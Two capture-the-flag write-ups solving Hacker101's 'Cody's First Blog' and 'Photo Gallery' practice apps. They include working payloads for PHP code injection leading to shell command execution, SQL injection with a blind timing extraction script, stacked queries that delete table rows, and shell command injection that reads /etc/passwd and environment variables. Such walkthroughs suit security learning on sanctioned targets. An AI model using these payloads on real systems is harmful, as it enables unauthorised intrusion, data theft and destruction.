HackerOne CTF Cody's First Blog (Spoilers)

On visiting Cody's blog, I'm greeted by the following:

Home

Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.

September 1, 2018 -- First

First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it is a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().

Stick around for a while and comment as much as you want; all thoughts are welcome!




Comments

Add comment:


Entering a comment "Hello! I agree wholeheartedly that PHP is the perfect template language." doesn't accomplish anything other than bringing us to a page with the message "Comment submitted and awaiting approval!". Despite appealing to his ego, there's no comment on the main page when navigating back. I'm going to need to do this myself.

The source of this app immediately provides a hint: An admin login page can be accessed by passing the get parameters "?page=admin.auth.inc":

<!doctype html>
<html>
	<head>
		<title>Home -- Cody's First Blog</title>
	</head>
	<body>
		<h1>Home</h1>
		<p>Welcome to my blog!  I'm excited to share my thoughts with the world.  I have many important and controversial positions, which I hope to get across here.</p>

		<h2>September 1, 2018 -- First</h2>
		<p>First post!  I built this blog engine around one basic concept: PHP doesn't need a template language because it <i>is</i> a template language.  This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().</p>
		<p>Stick around for a while and comment as much as you want; all thoughts are welcome!</p>


		<br>
		<br>
		<hr>
		<h3>Comments</h3>
		<!--<a href="?page=admin.auth.inc">Admin login</a>-->
		<h4>Add comment:</h4>
		<form method="POST">
			<textarea rows="4" cols="60" name="body"></textarea><br>
			<input type="submit" value="Submit">
		</form>
	</body>
</html>

This renders the login form at the top of the page, and the comment section remains:

Admin Login

Username:
Password:

Incorrect username or password



Comments

Add comment:


It's tempting to want to rush into brute forcing that login, but entering random values yields "Incorrect username or password". Without knowing a username in advance I'd need to fuzz the entire wordlist of common passwords across a range of common admin usernames, and even then I might still come up empty. I'm going to keep this in my back pocket for later if nothing else works.

Given Cody's post above about using includes in php, I have a hunch that this is is just replacing the main php file containing his first blog post with the admin.auth.inc php file using something like: <?php include 'admin.auth.inc';?>. What if Cody wrote another php page "admin.inc"?

Admin

Pending Comments


Comment on home.inc

Hello! I agree wholeheartedly that PHP is the perfect template language.

Approve Comment


Comments

Add comment:



Admin flag is ^FLAG^****************************************************************$FLAG$

He sure did, and there's no authentication verification at all. Authentication bypass accomplished. For this, I've secured a flag and can see the comment I tried to post earlier waiting for approval. Time to go back and try another comment, this time with an XSS payload. Approving a comment with <script>console.log(1);</script> or <script>alert(1);</script> works great, but there's no flag for this.

What else might be possible? Path traversals to non php files? How about <?php include '../../../etc/passwd';?>That doesn't work, it just returns the following error message:

Notice: Undefined variable: title in /app/index.php on line 30


Warning: include(../../../etc/passwd';.php): failed to open stream: No such file or directory in /app/index.php on line 21

Warning: include(): Failed opening '../../../etc/passwd';.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /app/index.php on line 21

What about including an arbitrary php include in the comment itself? <?php include($_GET['file']);?>?

^FLAG^****************************************************************$FLAG$

Comment submitted and awaiting approval!

Go back

Revisiting the page with ?file=../etc/passwd or similar doesn't appear to do much unfortunately, because the injected php tags are being sanitized:

<!--?php include($_GET['file']);?-->

I tried various tricks to try and bypass this behaviour, but none worked. One such example was:

--> <?php echo "bypassed!";?> <!--

Despite failing, this attempt in particular turned out to be very useful later on. Cody is pretty much taunting us to achieve a remote file inclusion with his first post. I started by systematically trying all the LFI tricks in https://book.hacktricks.xyz/pentesting-web/file-inclusion

It became obvious that most of these approaches weren't going to work, including tricks using:

php://filter/convert/...
data://data://text/plain;base64,...
php://input ...

At this point I was a bit frustrated. None of the obvious things were working, and I was stretching for anything. I tried the following to get the server to loop back to itself and attempt a LFI:

https://*.ctf.hacker101.com/?page=http://127.0.0.1/.htaccess


Notice: Undefined variable: title in /app/index.php on line 30


Warning: include(http://127.0.0.1/.htaccess.php): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in /app/index.php on line 21

Warning: include(): Failed opening 'http://127.0.0.1/.htaccess.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /app/index.php on line 21



Comments

Add comment:


Huh. "Warning: include(http://127.0.0.1/.htaccess.php): failed to open stream: HTTP request failed! HTTP/1.1 403 Forbidden in /app/index.php on line 21". That's interesting. First, it's appending ".php" to the end of the included files. Second, clearly URLs are allowed in the includes. What else can be included with this localhost approach?

https://f4771459e1d845877434d365ddc67b4f.ctf.hacker101.com/?page=http://127.0.0.1/index

Home

Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.

September 1, 2018 -- First

First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it is a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().

Stick around for a while and comment as much as you want; all thoughts are welcome!




Comments

Add comment:




Notice: Undefined index: file in http://127.0.0.1/index.php on line 26

Warning: include(): Filename cannot be empty in http://127.0.0.1/index.php on line 26

Warning: include(): Failed opening '' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in http://127.0.0.1/index.php on line 26


--> bypassed!

Add comment:


Woah. My earlier attempt to inject "bypassed!" via an echo just worked. I just accidentally figured out how to bypass the sanitization and achieve full RCE. Time to start exploiting it with new comments (on a clean instance to clear out some of the mess I just made):

<?php
$output = shell_exec('ls -lart');
echo "<pre>$output</pre>";
?>


Notice: Undefined variable: title in /app/index.php on line 30

Home -- Cody's First Blog

Home

Welcome to my blog! I'm excited to share my thoughts with the world. I have many important and controversial positions, which I hope to get across here.

September 1, 2018 -- First

First post! I built this blog engine around one basic concept: PHP doesn't need a template language because it is a template language. This server can't talk to the outside world and nobody but me can upload files, so there's no risk in just using include().

Stick around for a while and comment as much as you want; all thoughts are welcome!




Comments

Add comment:



total 116
-rw-r--r-- 1 root root   154 Dec 12  2018 setup.sh
drwxr-xr-x 2 root root  4096 Dec 12  2018 posts
-rw-r--r-- 1 root root   356 Dec 12  2018 admin.auth.inc.php
-rw-r--r-- 1 root root 69889 Dec 12  2018 php.ini
-rw-r--r-- 1 root root   412 Dec 12  2018 home.inc.php
-rw-r--r-- 1 root root   495 Dec 12  2018 admin.inc.php
-rw-r--r-- 1 root root   372 Dec 12  2018 Dockerfile
-rw-r--r-- 1 root root   278 Dec 12  2018 000-default.conf
drwxr-xr-x 1 root root  4096 Aug  3 21:40 ..
-rw-r--r-- 1 root root  1502 Aug  3 21:40 index.php
drwxr-xr-x 1 root root  4096 Aug  3 21:40 .

Awesome, I also want to know if there are any hidden secrets in the posts folder:

<?php
$output = shell_exec('ls -lart posts/');
echo "<pre>$output</pre>";
?>

total 16
-rw-r--r-- 1 root root  414 Dec 12  2018 first.inc.php
drwxr-xr-x 2 root root 4096 Dec 12  2018 .
drwxr-xr-x 1 root root 4096 Aug  3 21:40 ..

Nothing interesting. Next it will be great to see all the source code for Cody's blog to know where else to look for this last flag. To ensure the code can be exfiltrated without being processed into HTML by php, I'll just dump them each to base64 to be decoded locally:

<?php

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/index.php");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/setup.sh");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/admin.auth.inc.php");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/php.ini");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/admin.inc.php");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/Dockerfile");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/000-default.conf");
echo "<br><br>";

echo file_get_contents("php://filter/convert.base64-encode/resource=file:///app/posts/first.inc.php");
echo "<br><br>";
?>

I didn't need to keep looking long. Decoding the index.php file yields the last flag in a comment right at the top:

<?php
	// ^FLAG^****************************************************************$FLAG$
	mysql_connect("localhost", "root", "");
	mysql_select_db("level4");
	$page = isset($_GET['page']) ? $_GET['page'] : 'home.inc';
	if(strpos($page, ':') !== false && substr($page, 0, 5) !== "http:")
		$page = "home.inc";

	if(isset($_POST['body'])) {
		mysql_query("INSERT INTO comments (page, body, approved) VALUES ('" . mysql_real_escape_string($page) . "', '" . mysql_real_escape_string($_POST['body']) . "', 0)");
		if(strpos($_POST['body'], '<?php') !== false)
			echo '<p>^FLAG^****************************************************************$FLAG$</p>';
?>
	<p>Comment submitted and awaiting approval!</p>
	<a href="javascript:window.history.back()">Go back</a>
<?php
		exit();
	}

	ob_start();
	include($page . ".php");
	$body = ob_get_clean();
?>
<!doctype html>
<html>
	<head>
		<title><?php echo $title; ?> -- Cody's First Blog</title>
	</head>
	<body>
		<h1><?php echo $title; ?></h1>
		<?php echo $body; ?>
		<br>
		<br>
		<hr>
		<h3>Comments</h3>
		<!--<a href="?page=admin.auth.inc">Admin login</a>-->
		<h4>Add comment:</h4>
		<form method="POST">
			<textarea rows="4" cols="60" name="body"></textarea><br>
			<input type="submit" value="Submit">
		</form>
<?php
	$q = mysql_query("SELECT body FROM comments WHERE page='" . mysql_real_escape_string($page) . "' AND approved=1");
	while($row = mysql_fetch_assoc($q)) {
		?>
		<hr>
		<p><?php echo $row["body"]; ?></p>
		<?php
	}
?>
	</body>
</html>

HackerOne CTF Photo Gallery (Spoilers)

It's been a little while since I've had the time and energy to hack, but now I'm back at it and trying to crack the HackerOne CTF Photo Gallery challenge. The application is as simple as can be:

Magical Image Gallery

Kittens


Utterly adorable

Purrfect

Invisible
Space used: 0 total
<!doctype html>
<html>
	<head>
		<title>Magical Image Gallery</title>
	</head>
	<body>
		<h1>Magical Image Gallery</h1>
<h2>Kittens</h2>
<div><div><img src="fetch?id=1" width="266" height="150"><br>Utterly adorable</div><div><img src="fetch?id=2" width="266" height="150"><br>Purrfect</div><div><img src="fetch?id=3" width="266" height="150"><br>Invisible</div><i>Space used: 0	total</i></div>

	</body>
</html>

Each of the photos is retrieved by a "fetch" endpoint via a GET request and a single id parameter which is passed the integers 1 through 3. The image with id=3 doesn't work, but the other two do. Since these aren't normal HTML <img src="..."> tags, I have to imagine that there are some additional backend shenanigans going on. Perhaps a database query? If correct, it could be vulnerable to a SQL injection:

' OR id=1;--

Internal server error.

3 OR id=1;--

The data for image id=1! Very interesting. This is definitely vulnerable to SQL injection and it appears to just dump the content of the query into the page as raw bytes without the correct content type headers. It's rendered as garbled text. This is a prime candidate for a union to extract information from some other table. I just need to know how many columns I'm joining to this query:

1 ORDER BY 1;--

Ok.

1 ORDER BY 2;--

Internal server error. Great, it's just one column. If I were to write a query for an image returning just 1 column, I'd return a path to a file. They might be nuts and have the bytes stored directly in the database column Let's try some path traversals:

1 UNION SELECT '/etc/passwd' ORDER BY 1;
1 UNION SELECT '/var/www/html/get.php' ORDER BY 1;
1 UNION SELECT 'index.html' ORDER BY 1 DESC;

None of these. A hint says this is a flask app? What about:

1 UNION SELECT 'main.py' ORDER BY 1 DESC;

That's it, and it leads to a full blown source code disclosure with the first flag embedded in a comment:

from flask import Flask, abort, redirect, request, Response
import base64, json, MySQLdb, os, re, subprocess

app = Flask(__name__)

home = '''
<!doctype html>
<html>
	<head>
		<title>Magical Image Gallery</title>
	</head>
	<body>
		<h1>Magical Image Gallery</h1>
$ALBUMS$
	</body>
</html>
'''

viewAlbum = '''
<!doctype html>
<html>
	<head>
		<title>$TITLE$ -- Magical Image Gallery</title>
	</head>
	<body>
		<h1>$TITLE$</h1>
$GALLERY$
	</body>
</html>
'''

def getDb():
	return MySQLdb.connect(host="localhost", user="root", password="", db="level5")

def sanitize(data):
	return data.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;').replace('"', '&quot;')

@app.route('/')
def index():
	cur = getDb().cursor()
	cur.execute('SELECT id, title FROM albums')
	albums = list(cur.fetchall())

	rep = ''
	for id, title in albums:
		rep += '<h2>%s</h2>\n' % sanitize(title)
		rep += '<div>'
		cur.execute('SELECT id, title, filename FROM photos WHERE parent=%s LIMIT 3', (id, ))
		fns = []
		for pid, ptitle, pfn in cur.fetchall():
			rep += '<div><img src="fetch?id=%i" width="266" height="150"><br>%s</div>' % (pid, sanitize(ptitle))
			fns.append(pfn)
		rep += '<i>Space used: ' + subprocess.check_output('du -ch %s || exit 0' % ' '.join('files/' + fn for fn in fns), shell=True, stderr=subprocess.STDOUT).strip().rsplit('\n', 1)[-1] + '</i>'
		rep += '</div>\n'

	return home.replace('$ALBUMS$', rep)

@app.route('/fetch')
def fetch():
	cur = getDb().cursor()
	if cur.execute('SELECT filename FROM photos WHERE id=%s' % request.args['id']) == 0:
		abort(404)

	# It's dangerous to go alone, take this:
    # ^FLAG^****************************************************************$FLAG$

	return file('./%s' % cur.fetchone()[0].replace('..', ''), 'rb').read()

if __name__ == "__main__":
	app.run(host='0.0.0.0', port=80)

This source code is sure to help with the next two flags. The fetch function uses the filepath to read a file, but image 3 fails with a 500 error. I'm guessing that the file doesn't exist, because it's the flag I want. Maybe we can make it work with some SQL magic:

3 UNION SELECT 'three.txt' ORDER BY 1 DESC; SELECT filename INTO OUTFILE 'three.txt' FROM photos WHERE id = 3;

No luck. This might not be writing the file to the same path or even server as the flask app. When in doubt, a timed blind SQL exfiltration of the data is always an option:

import requests
import time

table_name_length = 10

# Printable ASCII characters excluding ', "
test_characters = [
    chr(i) for i in range(32, 127) 
    if chr(i) not in ("'", '"', '\\', "#", '&') and chr(i) == chr(i).lower()
]
print(test_characters)

url = "https://3fe810ef2f7e45090a65c3ed5fde382a.ctf.hacker101.com/fetch?id="
sleep_time = 2


with open("three.txt", "a") as f:
    character_position = len(open("three.txt", "r").readlines()) + 1

    def test(test_character, character_position):
        query = f"""1-IF(EXISTS(SELECT filename FROM photos WHERE id=3 AND MID(filename, {character_position}, 1)='{test_character}'), SLEEP({sleep_time}), 0);"""

        tic = time.perf_counter()
        requests.get(f"{url}{query}")

        toc = time.perf_counter()
        elapsed = toc - tic
        passed = elapsed > (3 * sleep_time) and elapsed < (3 * sleep_time) + 1.0

        return passed, elapsed


    while character_position <= 65:
        for test_character in test_characters:
            passed, elapsed = test(test_character, character_position)
            
            if passed:
                # retest
                passed, elapsed = test(test_character, character_position)

            if passed:
                print(f"{character_position}, {test_character}: {elapsed}")
                f.write(f"{character_position} -> {test_character}\n")
                f.flush()
                break
            else:
                # Best 2 out of 3
                passed, elapsed = test(test_character, character_position)
                if passed:
                    print(f"{character_position}, {test_character}: {elapsed}")
                    f.write(f"{character_position} -> {test_character}\n")
                    f.flush()
                    break

    
        character_position += 1


with open("three.txt", 'r') as f:
    raw_data = f.readlines()

data = [s.strip().split(" -> ") for s in raw_data]
result = ''.join([s[1] for s in data if len(s) > 1])
print(result)

This probably wasn't the most elegant way to get the job done, but it yields a 64 character hex string -- my next flag!

Next I want to see if it's possible to insert new records into the database tables. If so, there's at least a stored XSS available for the next flag. To test this, let's first try the insert into albums:

1; INSERT INTO albums (title) VALUES ('hacked'); COMMIT;--

Magical Image Gallery

Kittens


Utterly adorable

Purrfect

Invisible
Space used: 0 total

hacked

Space used: 232K total

This worked, the new album "hacked" appears at the bottom of the page. In the source code above, there is one field that's not sanitized: filename. The developer clearly thought because it's being used in their subprocess call to 'du -ch %s || exit 0' that it wouldn't matter. But they take the output of this command and run it through .strip().rsplit('\n', 1)[-1] getting the final line of the command output. The call to du -ch ... will return a result like:

> du -ch file_1.txt file_2.txt

4.0K    file_1.txt
4.0K    file_2.txt
8.0K    total

After which the rsplit on the \n character selects just the final line of that output. All I need to do is replace the final line of output piped to exit 0, which requires just one little semicolon.

1; DELETE FROM photos; DELETE FROM albums; COMMIT; INSERT INTO albums (id, title) VALUES (3, 'hacked'); COMMIT; INSERT INTO photos (id, title, filename, parent) VALUES (1, 'hacked', '/dev/null; echo "<script>console.log(1);</script>" ', 3); COMMIT;--

Magical Image Gallery

hacked


hacked
Space used:

That worked beautifully, printing 1 to the console as expected. But there's no flag. That's not entirely surprising -- an XSS is a weak use of this exploit chain. This is a command injection vulnerability allowing complete access to the shell on the target box, after all. So what's in /etc/passwd?

1; DELETE FROM photos; DELETE FROM albums; COMMIT; INSERT INTO albums (id, title) VALUES (2, 'hacked'); COMMIT; INSERT INTO photos (id, title, filename, parent) VALUES (2, 'hacked', 'fake.png; cat /etc/passwd', 2); COMMIT;--

Magical Image Gallery

hacked


hacked
Space used: mysql:x:102:103:MySQL Server,,,:/nonexistent:/bin/false

No flags there either. Do the environment variables tell me anything?

1; DELETE FROM photos; DELETE FROM albums; COMMIT; INSERT INTO albums (id, title) VALUES (1, 'hacked'); COMMIT; INSERT INTO photos (id, title, filename, parent) VALUES (1, 'hacked', 'fake.png; echo $(printenv)', 1); COMMIT;--

Magical Image Gallery

hacked


hacked
Space used: PYTHONIOENCODING=UTF-8 UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgi SUPERVISOR_GROUP_NAME=uwsgi FLAGS=["^FLAG^****************************************************************$FLAG$","^FLAG^****************************************************************$FLAG$","^FLAG^****************************************************************$FLAG$"] HOSTNAME=ip-10-15-39-29.us-west-2.compute.internal SHLVL=0 PYTHON_PIP_VERSION=18.0 HOME=/root GPG_KEY=C01E1CAD5EA2C4F0B8E3571504C367C218ADD4FF UWSGI_INI=/app/uwsgi.ini AWS_EXECUTION_ENV=AWS_ECS_FARGATE NGINX_MAX_UPLOAD=0 UWSGI_PROCESSES=16 ECS_AGENT_URI=http://169.254.170.2/api/8905b3340bb24747be7f8e6a0803900b-2858145981 STATIC_URL=/static AWS_DEFAULT_REGION=us-west-2 ECS_CONTAINER_METADATA_URI_V4=http://169.254.170.2/v4/8905b3340bb24747be7f8e6a0803900b-2858145981 UWSGI_CHEAPER=2 ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/8905b3340bb24747be7f8e6a0803900b-2858145981 NGINX_VERSION=1.13.12-1~stretch PATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NJS_VERSION=1.13.12.0.2.0-1~stretch LANG=C.UTF-8 SUPERVISOR_ENABLED=1 PYTHON_VERSION=2.7.15 AWS_REGION=us-west-2 NGINX_WORKER_PROCESSES=1 SUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sock SUPERVISOR_PROCESS_NAME=uwsgi LISTEN_PORT=80 STATIC_INDEX=0 PWD=/app STATIC_PATH=/app/static PYTHONPATH=/app UWSGI_RELOADS=0

That's it. Interestingly, if one manages to achieve the command injection as their first vulnerability, they'll just receive all three flags at once. It's certainly deserved if you manage to go straight to that point without the benefit of the source code disclosure vulnerability for the first flag!